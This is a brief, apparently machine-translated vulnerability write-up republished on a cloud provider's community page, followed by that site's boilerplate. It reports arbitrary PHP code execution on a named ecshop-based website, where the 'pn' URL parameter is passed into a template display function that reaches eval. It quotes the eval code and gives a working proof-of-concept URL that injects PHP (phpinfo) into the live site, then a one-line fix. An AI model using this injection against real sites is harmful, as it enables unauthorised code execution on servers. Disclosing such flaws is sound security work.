Initial Crucco master site Arbitrary Code Execution

Source: Internet
Author: User

At the beginning, ecshop was used, but the programmer's secondary development was too casual, resulting in problems... Http://www.crucco.com/huodongye.php? Pn = zucefangsi here we find that the pn value is not specified and can be submitted at will. We infer that the programmer should write the following code $ smarty-> display ($ _ GET ['P']); we found the display method in ecshop and found that eval function _ eval ($ content) {ob_start (); eval ('? '.'> '. Trim ($ content); $ content = ob_get_contents (); ob_end_clean (); return $ content;} we submit the following url: http://www.crucco.com/huodongye.php? Pn = str: % 3C? Php % 20 phpinfo % 28% 29; // The cute phpinfo is displayed.Solution:

Specify the pn value

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.